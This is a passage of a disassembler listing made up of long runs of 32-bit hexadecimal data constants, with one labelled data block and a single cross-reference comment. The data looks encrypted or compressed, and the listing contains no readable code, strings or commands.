		dd 7B8EFDFEh, 9B57A0B6h, 39F7C840h, 0E25E87D5h,	34579285h
		dd 0BA9316FAh, 2184932Dh, 0ACE4E95Ah, 457450A3h, 0F345DC61h
		dd 293E5D53h, 9434418Bh, 53F304A4h, 31A3A04Eh, 0F16FCE72h
		dd 1E98308h, 0B280CC87h, 5F9F6143h, 672C16Fh, 5CE0782h
		dd 54FA4509h, 0E25F31C2h, 252ED437h, 4D746AFh, 74C0623Bh
		dd 71B3FA29h, 0AF01802Eh, 18C5279h, 20E9CBDEh, 78BDCA73h
		dd 90EB9D8Bh, 2F045CD0h, 89E9290Bh, 0FDDB9EFFh,	0B70105E0h
		dd 4EBFBB4Eh, 0A5E5B7A9h, 0C6CCE609h, 2C3294AFh, 0BD30CCB5h
		dd 313C660Eh, 0F710D201h, 8F814F08h, 306A3324h,	0AE2D5E6Bh
		dd 554D350Ch, 92DCA1F7h, 0FE5B12B4h, 847809CDh,	13A9FF0Fh
		dd 0BF0E8678h, 372B38BAh, 4F330FEAh, 1CE287C9h,	0F82964D7h
		dd 475582DCh, 0E0C12280h, 80DFC908h, 0DDF6212Bh, 0CDB65204h
		dd 0A4BBC1FEh, 0F6C93088h, 0BD10DF6Fh, 0D6E9D842h, 0EE98498Eh
		dd 0CF381FDDh, 26478024h, 7CD242C0h, 95736E57h,	8B80B8ECh
		dd 0E89519F4h, 0FE244C2h, 0D9316BA5h, 0C6061A9h, 509745B1h
		dd 0C8280F6Fh, 1EC45259h, 2E9FA7D9h, 44107755h,	20596607h
		dd 30B88EE1h, 68805E09h, 0B6484FB0h, 0EBEC20C2h, 4C6EDBF9h
		dd 0EB36D33Ah, 0EF678360h, 7B021F65h, 0CBCE7CA3h, 2D75828h
		dd 0A109B845h, 9A2CD8DBh, 1266F1C8h, 0B82BFB68h, 87A94AC7h
		dd 86DEFBF4h, 89B1511Fh, 8FFCE88h, 7128C4DBh, 0C058C603h
		dd 0F6FE07EEh, 5C8624E8h, 2FE90997h, 10091ABh, 5D7348ADh
		dd 0D6F74E00h, 0C0B95155h, 7E2B0467h, 0AC3C7BE9h, 0F5C0E48Dh
		dd 603E214Dh, 1A1D0C7Ah, 10A7169h, 8BF57FEh, 93CD7427h
		dd 4609A8B3h, 6EC20422h, 80FF280Ch, 45576820h, 0EE956CBEh
		dd 6E1612CBh, 80104BA3h, 0C72774E2h, 13DB79FDh,	41EA8213h
		dd 5AAF0C0h, 297A4912h,	68480C01h, 8C2A5496h, 0DB6EBB1h
		dd 11ECF681h, 0B371D34Dh, 0E94D422Ah, 4754ACD1h, 0DE7DEA5Bh
		dd 0AF5D1647h, 7DC33238h, 17280B4Fh, 55E23EE9h,	0F3374055h
		dd 40320543h, 0B85AD509h
		dd 8FC50259h, 0E1734160h, 13F7BF81h, 3777CDFBh,	4DA78F3Dh
		dd 575FC120h, 45FB7159h, 485FAE7h, 0FE11D2B6h, 801E7F4Bh
		dd 7C3B9F06h, 0E10C6D0Fh, 64F1831Dh, 8944E978h,	0C413602Ch
		dd 5880320Ah, 812433F6h, 524EE958h, 0E096E7EFh,	0FC22C69h
		dd 0AB4BF968h, 890D451Ah, 36564693h, 33EEB63h, 7E74CD57h
		dd 0EDB04E0Ch, 0D2325EC1h, 510327Dh, 5516BF58h,	3C3BCFA4h
		dd 98794C2Eh, 59078115h, 0E5A6E03Eh, 9B601B41h,	78EACB9Ch
		dd 61EF1BC8h, 8030E825h, 0BE02F667h, 2AF8BF28h,	0BD12DBB5h
		dd 3963C69Bh, 0DF19960Bh, 7AC3E236h, 13F607A0h,	0C5413188h
		dd 0DE57B138h, 6BEAEFC9h, 0F6D87849h, 282501C4h, 611D5667h
		dd 6802EA23h, 572DE26Ch, 0F2A09FF1h, 2FE90338h,	0D2D3331Bh
		dd 37FC56A0h, 123724DAh, 957902AAh, 0F600E320h,	3ACB80D3h
		dd 0BFA6E96Fh, 6475E9FAh, 0ABE918C7h, 0C4B9203Bh, 0CC082Ch
		dd 9CAFCE12h, 0B199596Bh, 10F6441h, 4992C481h, 0D259629Ch
		dd 0AABBA2B0h, 6A013901h, 5034E943h, 4F501729h,	4C1B1833h
		dd 14B20C6Fh, 0BF181F20h, 447F7EA9h, 3A096149h,	0E0505697h
		dd 44B5F995h, 48DBB710h, 925EEA6h, 7685F584h, 0E0D9FB42h
		dd 13F4E66Fh, 0D8C8CD0Fh, 0DAC76589h, 0A36AD06Bh, 484F5649h
		dd 0A8C29AC9h, 5D17F198h, 5A92C72Ch, 9A76F8F7h,	6036F908h
		dd 1E2A0580h, 0FDFF8CC3h, 58C1B511h, 0AF510104h, 0B62BD586h
		dd 569F1227h, 0BC4B73B9h, 0B15A0C67h, 12670C6Ch, 4450272h
		dd 857C884Bh, 4F7AAC0Eh, 152472FCh, 5BAFBDBFh, 369516DAh
		dd 0B4F19F8Ah, 3BBA210Dh, 549AD06Bh, 7558B231h,	0AB20055Ch
		dd 2F819B2Fh, 0FD93335h, 18C0EEF0h, 0C597C75h, 0A61F0829h
		dd 492EC16Dh, 5B7A2D0Bh, 2097BDF7h, 0AE24BAF8h,	3730F30Fh
		dd 0EAE580ACh, 0EDA0281h, 5D246133h, 7E3439Eh, 11A4B7FBh
		dd 69E84B83h, 0C158F704h, 0EBF0AA45h, 31EE40E3h, 435C34Ah
		dd 23E3982h, 9869285Bh,	51A538F8h, 1D8D565h, 76EC9A68h
		dd 0ECBE21h, 72ED964h, 12C35956h, 88533CC1h, 0F5CD0149h
		dd 4CFC2Bh, 9B6E7FF5h, 2FE83102h, 0F95B2C8Bh, 0C1C14069h
		dd 5FC42875h, 0C1E98F1h, 0D1F72CFDh, 130EC766h,	0A9E95E25h
		dd 98167549h, 0E954DCC1h, 236D324Dh, 6255F516h,	0DF88B91h
		dd 464ABCFAh, 583E5E8Ah, 0CC15A292h, 6F404B97h,	0BD550451h
		dd 0BB39432Ch, 0E945A2D0h, 7E639D5Eh, 6825B2B8h, 0F35E937Ah
		dd 0F5E35413h, 92D0257Bh, 0DF52F3DEh, 0D69FAD48h, 0CD26880h
		dd 5D498219h, 373D9840h, 25CCCC0Ah, 79B25FD7h, 529DFEh
		dd 5719729Fh, 63E9803Ah, 0C0A2A45Eh, 0B8FE8912h, 0FBACD7C6h
		dd 0ECBE724Ah, 95F9E910h, 0D6B83400h, 460B2A42h, 0A158C521h
		dd 69ADE9F4h, 0E139C004h, 777B6E49h, 5B80C0FCh,	7452785Ah
		dd 8EFB9D4Ch, 0FCB770A5h, 0CCB24A9Ah, 86A81964h, 98FEDD89h
		dd 0D8144248h, 0D77AEE0h, 0AABA3EB3h, 5E5A680Bh, 296AAAA1h
		dd 0F7808DD4h, 0AE51A78Dh, 0D78123BBh, 12D150A1h, 7F783931h
		dd 2EFD094Dh, 0ED094A30h, 3C3AFF0Ah, 85E1475Dh,	91D4A8E9h
		dd 3032FF5Ah, 0CEC1D5FDh, 5F5B5753h, 97DC5630h,	44C4645Ch
		dd 0F054CB0h, 51EC2436h, 0BD061745h, 64B3075Dh,	0F987197Fh
		dd 7508D48Fh, 5AE7412Fh, 4740164Eh, 0CBE30B9Fh,	0E5D5DF62h
		dd 9BFA494h, 985D1380h,	97D1589Bh, 7E9DC61Ch, 87B42772h
		dd 47E9120h, 1C78CEB8h,	1B87ABABh, 52D2D2D4h, 80F94550h
		dd 0EA8069B2h, 0C209FED3h, 0DD39B551h, 0B753A421h, 8AC7FC93h
		dd 0E9FD281Fh, 297500A7h, 0F2082454h, 27E9BE65h, 5E1794F5h
		dd 504CF45Ch, 32D8B805h, 910E3C26h, 26B0B9Ah, 68C32A20h
		dd 0AA0F8172h, 40F48E4Ch, 87504720h, 48835CFDh,	1D16B358h
		dd 9376FD01h, 2CA9CCAFh, 512F3096h, 0BE5DE447h,	834E2F14h
		dd 1058A168h, 4B2F651Dh, 9D55A6B0h, 56CB3D5Ch, 25EBCEACh
		dd 1F6D3F74h, 0F12A7CF1h, 0BDB66A63h, 0C2168694h, 0EE0B41DFh
		dd 78F2295Dh, 1D5A01EAh, 0C0E91FD1h, 3C80BC74h,	6E1238C3h
		dd 1041B63Eh, 0BE00A87Eh, 35DD19B5h, 5E18F131h,	0E9B5CB89h
		dd 35A29FC3h, 0B6ECE829h, 2AEE5D4Eh, 10CF4C18h,	0BB03218Dh
		dd 3FA476F4h, 0C5901CD2h, 0FA190FEBh, 94D65F6Ah, 0C553A592h
		dd 0C61CBFD0h, 192CF00Fh, 0CE7F5A7Bh, 0B8E912D5h, 0E001994Bh
		dd 17619935h, 0EB584943h, 0CA882675h, 5BF2F68h,	55A7B4E5h
		dd 0AC588A25h, 0B652C033h, 25C680F5h, 6B0151FFh, 2E58881h
		dd 17937C08h, 6533EBCFh, 5ECDCA57h, 0ACC2808Ah,	213576CFh
		dd 0F55AD624h, 0C18B5624h, 0F2BE00EAh, 197A842Dh, 22D73164h
		dd 15E02FA7h, 0CD875459h, 11C2D09h, 0B80D162Bh,	94E93E0Bh
		dd 0DB7E7089h, 0B0C55524h, 5E4FD3FCh, 9F564B67h, 0E3003112h
		dd 308C0C73h, 0F987DA4h, 0AE28A63Bh, 0A21A556Dh, 760BDD0Dh
		dd 2F917669h, 0B0EFA4D0h, 60C82E51h, 779502C3h,	21DC5056h
		dd 4808C214h, 12392FE4h, 0BC1D8DCh, 75484780h, 939F1358h
		dd 790E024Dh, 165DF41h,	0BF1C6448h, 76A74FB6h, 6882034Eh
		dd 0D7F1799Fh, 10E45D6h, 482CE209h, 1E4F7C39h, 24E710E9h
		dd 0F5C253A8h, 5246A566h, 0B6CAEF00h, 50E6307Ch, 0E7CCFC58h
		dd 2FE9BB20h, 0EA98AF08h, 553E6DC8h, 0E693952Ch, 0DD89C9BBh
		dd 95E5CCh, 4756FE76h, 15F49F57h, 0F7270A48h, 0EF5915A4h
		dd 579E1AE2h, 21850951h, 35F4DC46h, 0F715DD02h,	5C61E9DBh
		dd 0EEE028F1h, 2C5F69E1h, 0C476087Fh, 98A181Dh,	0F103D203h
		dd 17F8E53h, 0E02C5C18h, 7FA3E913h, 21B87D17h, 3258C3C0h
		dd 0FA9D73CFh, 0F4088236h, 0A70E1B75h, 0FFF25DE2h, 7637EE20h
		dd 0A851F629h, 391A9FE7h, 277B745Eh, 3A68736Bh,	5C014F09h
		dd 0C0BF571Eh, 7FDAE361h, 0A3A08882h, 411E1A7Dh, 0A383806Eh
		dd 37F94D6Fh, 6FF6D6D1h, 9F71DFA3h, 0A277AC0Bh,	6ACE25DFh
		dd 5821F7E5h, 2B01211Ah, 0F85445D8h, 98DFB494h,	0F78472EDh
		dd 32419990h, 0C9D0FFDBh, 9F421A1h, 1D306809h, 0E37C5A46h
		dd 70616BA0h, 0B72EDF28h, 3194E109h, 2426F29Ah,	25410958h
		dd 0EFBF1678h, 2BE98579h, 1F92E4BFh, 0C238C84Ch, 0D1338468h
		dd 0C22D9651h, 14FE056Fh, 1ED4DFBAh, 0E88BFFF9h, 4D579F00h
		dd 6BBD4302h, 0C47FF2C4h, 0B884C77Ch, 51DE52Ah,	0D86C85F7h
		dd 0BD12FEh, 35E0D12Ch,	0ABFF16C2h, 6714BFFDh, 46C55B95h
		dd 7B058BABh, 183F2625h, 0AC47D5DEh, 58A920A6h,	84635D58h
		dd 0FB13A656h
dword_4F0044	dd 3D8CD741h, 3BF4728Eh, 6D939579h, 10F0D604h, 12C01115h
					; DATA XREF: ___:004385B4o
		dd 4C3D0C2Bh, 70134150h, 9E99F0FAh, 1B53E1Eh, 0F08F9D8Ah
		dd 0B906D896h, 0F069200Bh, 68560255h, 0A947C1Dh, 0D22C083h
		dd 0EC2DAEECh, 9FBA8460h, 0AD01565Ah, 345BF808h, 0B174287Dh
		dd 0B45BB2B7h, 5253E3BAh, 20409E16h, 0F0EEDD64h, 4F551A90h
		dd 65C90070h, 0E9137ECFh, 0DEF9C732h, 636853C1h, 0A6A75867h
		dd 0DFDBAF4Fh, 0E109E52h, 26680943h, 0C0369A5Dh, 4798CCDh
		dd 47E96367h, 20B18919h, 0EA4BCC82h, 0EAB520A8h, 1E3334D9h
		dd 0E2E97561h, 4842DDBh, 33E5FECh, 52AB3CEAh, 155E6804h
		dd 2C806174h, 0E5BFFDF2h, 404CB960h, 1C904E84h,	0B5557760h
		dd 2C5801Ch, 59EB281Eh,	0D241C3FEh, 1F417DDAh, 0FA68562Ch
		dd 9EB25A59h, 4DB16F0Ah, 882B7602h, 8822F558h, 0C14CB445h
		dd 9A3E662Fh, 0E97924A0h, 17B7E4AEh, 0CEF8E35Eh, 9FD04E4h
		dd 23BE00CBh, 0D3554h, 7F05CE81h, 0AFE9259Ah, 52A4C54Fh
		dd 10C25BEh, 0D3F22812h, 0CF5D51B7h, 1E941FA0h,	27FE3C1h
		dd 7213BDE6h, 411E36B0h, 440296E9h, 0E2ABF580h,	0BF7DF0E3h
		dd 4104D20Fh, 84E7D4F6h, 0F4D380F2h, 164F6F5Ah,	0AD966081h
		dd 6BF70500h, 0D8C0D4A2h, 647F5E51h, 4691C928h,	0C1F0250Bh
		dd 0F78AD5E4h, 2E780681h, 38390D5Ah, 3352064h, 3D422359h
		dd 0E5FDF3E9h, 5AE62027h, 682E534Ch, 43250850h,	882EF8Fh
		dd 429B5A2Ch, 5FFD1847h, 276EF3B8h, 505E3D20h, 0B9681000h
		dd 4FA5E917h, 17752901h, 0E98908E7h, 933A4CEh, 3036E5FAh
		dd 664E29CBh, 0DD8427A6h, 3335BF74h, 760A9CAAh,	0C7811C9Ch
		dd 4C996DEDh, 186FCFD8h, 182E154Bh, 0C8050485h,	5983E9D0h
		dd 5FFEEB91h, 0B1D9073Eh, 45550917h, 2F2D28B2h,	273ADAA3h
		dd 0E2A6F807h, 247529C3h, 16BEC9A0h, 0B039FB6Eh, 69627D20h
		dd 465FE9A4h, 0F7DA9F73h, 11C6C243h, 215C1661h,	3D899E8Ch
		dd 9834A2D0h, 0C960C64Ch, 645078B2h, 1956CDFCh,	181674C6h
		dd 34AA2660h, 9F901C71h, 4EA7283Ch, 0ED47D062h,	681FA1E2h
		dd 0A925314Ch, 0A2284E65h, 59BDA4FDh, 11AA80EFh, 89EEE848h
		dd 0EA16809Fh, 14D2128Ch, 95DA0162h, 5509BE2Dh,	542F28C5h
		dd 0A2447A38h, 0A4B53DB0h, 52AAEA55h, 6C49BF2Bh, 0A63A54C2h
		dd 0EDBA09B6h, 9E34475h, 5C3F51A5h, 43E1E100h, 2971962h
		dd 0D7129C7Ah, 0FC340410h, 748F2748h, 5D4E0309h, 0C18C5743h
		dd 6517183Ah, 0A3AC637Bh, 53B33202h, 9BA52CE9h,	48A7015Eh
		dd 4010276Fh, 0A01CA487h, 25B13BF5h, 1D387ACCh,	2672875Fh
		dd 512E0BB7h, 0B6B66B73h, 0C4345AECh, 0BBB913FDh, 0C218A5DDh
		dd 9CF95F23h, 0E190925Ch, 9E301F41h, 41685A50h,	4A46C29Ah
		dd 34DFEC18h, 0A2AC55D3h, 4F6AC104h, 3020E60Dh,	48B7CC55h
		dd 0FD424B72h, 3F4184Ch, 9F5815Fh, 3EC62BB2h, 0B339F40h
		dd 9DC80140h, 622285ECh, 81B1201Ah, 75589A80h, 0FD711525h
		dd 34088188h, 0C05BC0F8h, 0E9164531h, 98E3E7B0h, 6078B9Fh
		dd 52DFF21h, 63917F3Bh,	29E860AEh, 0CF5FFAF8h, 5CDC80Ah
		dd 2C0CD319h, 3EA1FCE9h, 0E019B5Ah, 2C36C8Ah, 85B7C88h
		dd 0CF3B3BB1h, 2C022216h, 0A55752E9h, 8B444AF1h, 0C5098B13h
		dd 0A4131401h, 6F686DA4h, 0A7C9E713h, 0BB04A978h, 63396049h
		dd 0CB85B0EBh, 5E1BAD0Bh, 0ABD3073Fh, 0E07F7E63h, 3A0661E9h
		dd 0D092650Ah, 0DD208D32h, 0D62901D1h, 28E78FFDh, 5BE7205Ch
		dd 0BAF20035h, 64F751E7h, 8061D8B5h, 4C72A4CFh,	0EA17EBC4h
		dd 0F2C0F5Dh, 31A868E1h, 0F7D76ED3h, 324F4283h,	5EE9E2B9h
		dd 563E55Dh, 0BFD5F75Dh, 0E961FF87h, 8F48E44Bh,	0EA1612A0h
		dd 0C1100330h, 43B56E31h, 5D1D68D6h, 67175F14h,	77BF81C8h
		dd 91EC0C14h, 4122B422h, 8A2E2768h, 0A3D83D31h,	477D9B86h
		dd 0FDE22F76h, 8125D5FBh, 733C33E9h, 0AA062932h, 0C179151h
		dd 0ED2A8D0Ah, 23BB813h, 1B84248h, 7BA8E1D8h, 4F02C00h
		dd 0C8FEFF1Dh, 1C9476AFh, 0F8432F60h, 470EE9A8h, 7D695F94h
		dd 0D5982F22h, 5E4BBE00h, 81340FC4h, 185252EEh,	1B457E7Dh
		dd 290B05ECh, 4002E9F3h, 0B8D188F1h, 0EB20628Dh, 5800CAE4h
		dd 0E759CB28h, 5474E870h, 0A2CEFC7Dh, 4A4DD9Ah,	897DE059h
		dd 0A51F45B5h, 0E9702F76h, 9ABA5F6Bh, 1A562DD1h, 8C45402Bh
		dd 627260Ch, 0BCF0230h,	43FD7FE3h, 3871A386h, 0A35FB934h
		dd 0F8622584h, 0D5FC95B7h, 7EEE0472h, 0D540AB56h, 0F473F0BFh
		dd 66215C5Eh, 23175848h, 4C32F82Fh, 0E4520C14h,	0E9400C1Bh
		dd 39201CD5h, 7E1204FDh, 0FC72E90Ah, 7D552734h,	0E9256814h
		dd 95CC50AEh, 2AC240DCh, 0D4E7DCAh, 0F45FC0F6h,	8CC456A8h
		dd 0C65EE847h, 6B2B11D4h, 28ED410Ah, 9981ED26h,	0E93FC40Ch
		dd 1BACC9D1h, 59520B6Eh, 5F65837Eh, 3E02C82h, 0D0C9E6C0h
		dd 0CCE3EBEEh, 58C63712h, 5EA2FDF4h, 2ADA9D80h,	0AAFC64B5h
		dd 0A0ECB508h, 0B974EB32h, 0D1905DBCh, 0B62709E7h, 406FA257h
		dd 197FAA1h, 6C32BE56h,	9CC17430h, 1C28190h, 0D72EDA2Ch
		dd 7053627h, 0FB001B02h, 21D237B0h, 0FAF2012Ch,	0AC900820h
		dd 52045E95h, 6524477h,	203F30C6h, 460A5865h, 0A3705B68h
		dd 7D8DFDC0h, 7B2CC173h, 2E15E736h, 0BAD194C1h,	0C1FB9D2Eh
		dd 0F98005DEh, 28B19DAh, 1C3BB3Bh, 7F627C89h, 6E509261h
		dd 0E558B4D8h, 1A53C86Ah, 721C941h, 41F5C830h, 15140FAh
		dd 254BE8ACh, 2FE24E87h, 9F5155FDh, 6B256860h, 283C4E52h
		dd 5A12BDABh, 84AFAEB2h, 8EC5FB5Bh, 69C04D12h, 0C6096468h
		dd 7F25A2D3h, 6E1DF107h, 0ECB34C34h, 0CD170297h, 3E8858E2h
		dd 0B5D350E0h, 0C860DF82h, 2E1FCE80h, 0D4BE6D0h, 89567173h
		dd 5CD6CB12h, 44462F4Eh, 0B5BADA31h, 8107EC19h,	3F5D4B3Bh
		dd 3C68138Eh, 52F3BA01h, 0D5712B3Ah, 18CEC060h,	0C50130Fh
		dd 0EA2E3F2Eh, 0BD02C64Fh, 0DF25BE2Dh, 6C4B76E3h, 50BD62BFh
		dd 95C93EFFh, 0D55AD6F9h, 0CCB199EEh, 44C47749h, 7A20E913h
		dd 0C716FE52h, 0ED809B01h, 0F2AC0BEh, 27703E9Fh, 5827D648h
		dd 221D9CADh, 6A53E996h, 530EC7BDh, 0ED2EB5B3h,	7B89DD0Bh
		dd 0C129D5A4h, 0C25FDBF7h, 25E7CDFDh, 537F2A22h, 0C7019F08h
		dd 3936C08Ah, 8F20EB31h, 20ED0DEBh, 0E31209C3h,	520801ADh
		dd 7E6CE957h, 622E6516h, 0A3EF745Eh, 0E951C125h, 0CC81CDC2h
		dd 9C415BBDh, 0BEAA4454h, 680155F3h, 32404B5Eh,	7EFC6A59h
		dd 0F3D701B2h, 405B125Ch, 69E5BD61h, 33B826E8h,	27A205D0h
		dd 0FF540992h, 0E989DDE5h, 7F5DC268h, 426E9F30h, 0E36F5C81h
		dd 0D6005A06h, 5375642Ah, 0BF570258h, 0C9F1A47h, 7CC9F2DCh
		dd 3BF701EAh, 38679809h, 727A07ABh, 0CFD02677h,	5C9A512Eh
		dd 4007928h, 681A850Dh,	99C43467h, 46BAF5FEh, 0ECE3C0D8h
		dd 71A38D25h, 82FC920Ah, 60755F18h, 728E8Ah, 0CA816B57h
		dd 1A4B7637h, 268ED2BDh, 9E4AD2h, 94214E4h, 70634768h
		dd 13D79A6Dh, 9CAB50Ah,	8B1C5BE2h, 651F3EC0h, 4C295201h
		dd 840D9DAh, 3BE92A5Bh,	950DB0C5h, 22BD2E1Eh, 76E067BEh
		dd 1F684676h, 10CC55B0h, 305A195Bh, 68BFEAC1h, 0B1C663ABh
		dd 9E3F1D16h, 239517E1h, 7A05D974h, 71AF1B97h, 8CF1C200h
		dd 0C3611226h, 511A6F1Ah, 57D709EDh, 0D16B2C81h, 6E3F4EBh
		dd 0E6098790h, 0F6B59C5Fh, 543207FEh, 0E4B96E4h, 3531BB18h
		dd 58CEEB56h, 0BF4B65FEh
		dd 7302B740h, 25E91EAFh, 0FD92111Ch, 965580C2h,	16B97DD9h
		dd 0AF20AD21h, 1EB10414h, 2F164893h, 80647B5h, 4A17821Ch
		dd 18515D66h, 1DE953C1h, 0A029146Eh, 60C329B1h,	3C1EC7CCh
		dd 0F3124937h, 0B5D9DE64h, 32AFB83Bh, 5A5ECF19h, 313D0BE1h
		dd 150446CEh, 0F3B2BAF9h, 2521AA5Ah, 3206C59Ah,	717AB30Fh
		dd 22D26409h, 0FA56E4h,	2D1C9677h, 36716A3Fh, 951EA990h
		dd 500A367h, 4DCB657Ch,	2DF82829h, 5E5FB007h, 0EE7FC4C6h
		dd 2ECB171h, 0F36FE910h, 67147495h, 0BA7D2B8Eh,	58A47C87h
		dd 45CA0E11h, 0C3026238h, 0F75229A7h, 82AC554Bh, 54097279h
		dd 25EBAE1Eh, 0A23D9CD7h, 0A50E8414h, 0AC8ABFh,	28536852h
		dd 0B55A77E9h, 0C11D3481h, 3B2CB76h, 60B52240h,	780A8627h
		dd 0D56D5FD6h, 6E06EA81h, 5C6B16A6h, 0F3D39C3h,	103BB0Bh
		dd 0D331B044h, 848CB855h, 136A6800h, 0D0293BBh,	402E8E7Eh
		dd 43F8212h, 0F52140EDh, 80A7C55Eh, 0A5FD013h, 24E97B0Ch
		dd 13B95E08h, 43DE2h, 3B69C930h, 0BD9032D1h, 0EB2BFF03h
		dd 0DD546865h, 345A3421h, 0B0E58F2h, 0C9A92640h, 0D09C877Fh
		dd 0EC6A68EBh, 50643017h, 466F3F0Ch, 18581560h,	0BAF27C2h
		dd 0DCE9CB31h, 0CFEAAC90h, 26A6431Eh, 0A23D03CBh, 5532B261h
		dd 75FA9572h, 7CC06892h, 184579E6h, 1230BD31h, 1284305h
		dd 0ED21D907h, 0D3524944h, 0BC8EB09h, 0EFBDCBAh, 2CC77170h
		dd 10E9C201h, 7E251B5Eh, 6568D08Ch, 0BD615Eh, 0E029E9C5h
		dd 2BF66863h, 126CBDh, 6EFA19DCh, 0C01F86BDh, 0FD0B31F8h
		dd 559699E9h, 0C3DB6B18h, 0C4DE0180h, 139C90C6h, 539537E9h
		dd 7B8F295Ah, 0D78143D1h, 5C2F37BBh, 35B9E600h,	2E13DA43h
		dd 1104CD89h, 8017390Ah, 4E64041Ch, 340E4B60h, 9238E194h
		dd 0E821247Fh, 0DF0418AFh, 0D2837D2Bh, 0B196A926h, 2FFCC537h
		dd 3E7E69CBh, 1608B108h, 4227CF5Bh, 0F26712A1h,	0E1A4AEDDh
		dd 0EBF40990h, 38F73B75h, 0BF4F15C6h, 0EF446A29h, 50B295E8h
		dd 7D99657h, 75A50D64h,	71809B5Dh, 30668725h, 1D2D4438h
		dd 0E9442004h, 0C291A2C3h, 992E0AF6h, 6AF40021h, 7C0BD43Bh
		dd 76098AE9h, 45054F6Eh, 145F01E0h, 6093FD97h, 7D8263B1h
		dd 0C2DB6B48h, 572DE283h, 0EF968D0Eh, 608943Dh,	62382568h
		dd 3ABA4098h, 0E67B91A8h, 2529E94h, 8418B097h, 5A0E51ACh
		dd 2D4DCAC6h, 92BC305h,	3F853587h, 4F080B10h, 60B784E8h
		dd 8340B3EEh, 15E91713h, 0C9BA9740h, 0B53B5034h, 5709DB14h
		dd 0D7F833E9h, 88A4E99Ch, 0B50A1E24h, 0C38FF569h, 8AC28064h
		dd 0D1C1043Ch, 9EC2C57Ch, 8562D9h, 0E9F12908h, 8DB54BECh
		dd 0BA4E44Eh, 0BAFC6B9Fh, 2758F660h, 3C1DA05Dh,	80AE0FC8h
		dd 0D1952159h, 1A706BE3h, 2D256B5h, 76C28F3h, 0FC559191h
		dd 0C58884F7h, 0D05F1E96h, 0B346CA14h, 296B6347h, 7FDEEB25h
		dd 0D9826EB6h, 0C6D5A075h, 7B425CFBh, 9354F7Ah,	0C5C5B0Eh
		dd 1C570961h, 57ADEE42h, 7B5F20E1h, 65F08FE1h, 40B9B06Ah
		dd 60B0C0E4h, 63D607DEh, 7AB8AF71h, 0E17F0102h,	46CA8D6h
		dd 0D9025C25h, 6DF2A0B5h, 8BDF227Bh, 0C24530Ch,	809B3FB1h
		dd 0F50BC5Bh, 0E9F93060h, 75966AFCh, 0D03D668h,	584BDA00h
		dd 68D8F72Fh, 65574950h, 3662BF27h, 2589F37Dh, 0DD2531C5h
		dd 0CE8CBF02h, 0B2EA8000h, 0ABD253F6h, 8702EF83h, 3334E914h
		dd 0A3A8847Ch, 2CF25D09h, 0AD81927Eh, 9F8B4373h, 54AE19FDh
		dd 1380BAE5h, 8008E7C0h, 0D03AB5F7h, 6AC79CEFh,	551D3F24h
		dd 7D7AD2A4h, 6ACFECE1h, 2E62ABFCh, 0AF7E1CD9h,	5E3A6861h
		dd 4E458A6Eh, 73735FEh,	3B2D648Ah, 73A31670h, 0B7C5A898h
		dd 24370D5Dh, 1D0BB056h, 0C5997DACh, 0F9D7CEC2h, 41948C01h
		dd 30015922h, 0E2805BDAh, 0AC9266FDh, 0F4511DA5h, 50A68291h
		dd 9E3BEC70h, 0C49A46Bh, 111B9609h, 9C782318h, 0C919A94Bh
		dd 0D035045Ch, 0EA3913FEh, 2D1F262Ah, 3BCB4B23h, 0ACAF798h
		dd 1299BB80h, 0A4338F74h, 4A08F31Eh, 168BF13h, 63235680h
		dd 0B20F9643h, 40C20DBAh, 0F7616041h, 175B3998h, 2DFA3784h
		dd 0C5C0A78Dh, 0E95D82A4h, 965ECD5Bh, 13F9EF5Bh, 6EC8571Ah
		dd 0F878EA4Ah, 803BBA19h, 82B013DCh, 9548B640h,	0F3E7D5E8h
		dd 2D593FF2h, 0F4FC6CFh, 36ED0457h, 0C4491A22h,	86E050BCh
		dd 9D7D0902h, 0DBE24329h, 0CF7F0DA9h, 0C33227C8h, 6B0FACC1h
		dd 5BE049BCh, 8F97D1F7h, 0BBC69C46h, 209C9D86h,	0BD059CFDh
		dd 266A7D17h, 427BC0FAh, 3E76D47Fh, 59E6CD05h, 0FAF11E2h
		dd 6160BEFh, 0FE58C554h, 5FB6454Ch, 0ECBF7D00h,	3EA45Ah
		dd 9A3DBABBh, 0E9FB3109h, 5A6E544Dh, 667F7F01h,	3E2035AFh
		dd 2C3740D7h, 0D328B777h, 830F6FEFh, 64E0916Ch,	62FAEA98h
		dd 207D5D15h, 3601C444h, 4004B037h, 0EE5CD19Bh,	9F0D20FCh
		dd 0C7508560h, 8EBCD39Dh, 0E377CA68h, 66900058h, 815F379Eh
		dd 395803E7h, 0FEE928E3h, 27EC795Bh, 21668C0h, 0A0CA0697h
		dd 5E67DAFBh, 0E8DA0592h, 9722A61Bh, 0C0E95B71h, 9D56E1EEh
		dd 4036D518h, 2858773Ch, 0D109B2C1h, 270C2068h,	0CA9D8A27h
		dd 0A1EB106Eh, 0CFEC10h, 16CE814Eh, 9829D435h, 0B513F3Dh
		dd 0E602633Eh, 61D51FE7h, 0AF5869C0h, 27D1FD48h, 0A3F372EBh
		dd 7446F82Eh, 9AE91076h, 0F20B7B60h, 8EA50845h,	0D1E8CB64h
		dd 0C27629C2h, 0E6DDBE2Ch, 9F06FE58h, 55898429h, 3E55C1ABh
		dd 0C2E9278Ch, 0F5805201h, 0D0EDCD95h, 5979EF28h, 502D0EE6h
		dd 0F87EB0h, 1A34C0FEh,	40951024h, 82A95AE8h, 0FC9583E6h
		dd 7CBD6014h, 7325367Ah, 3491D44Dh, 0F5D78106h,	7CA2E8C4h
		dd 1A99A4C1h, 7D2035C7h, 77727066h, 0C74013Dh, 25E938F3h
		dd 0D55D7E7Ah, 8DDD56E5h, 0E4D28F66h, 0C6CBBDA5h, 0EBC045Bh
		dd 0AE9291EFh, 0F231155Ah, 0B37F0BE9h, 0BCB10F28h, 642D3CB3h
		dd 0FBB920B8h, 542DAD03h, 0D90A7867h, 0B33EF7E3h, 0EF810F0Ch
		dd 2D07E586h, 725021A3h, 0E94F0B5Fh, 0B9C89FA6h, 8633468Eh
		dd 92AAF023h, 0EA94E044h, 8737BE5Dh, 0C2F132FBh, 82CA68E9h
		dd 233E4D7h, 180EBB53h,	29D4198Eh, 156EF12h, 0C18DA553h
		dd 2A0CFD2Bh, 0E29F8C19h, 86825D87h, 8346C166h,	954A5779h
		dd 425F58C2h, 417057E2h, 795EE204h, 12C07424h, 614A5A61h
		dd 1B5CA27h, 0B9D82014h, 5916A596h, 0E5E77E04h,	0D4AB560Fh
		dd 0BF0665F8h, 3E8A0C83h, 1B27386Ah, 0EF39BF4Bh, 756D9341h
		dd 0E792CCDh, 185F0840h, 0BB9617E9h, 0E8985AD3h, 0A10E050Ch
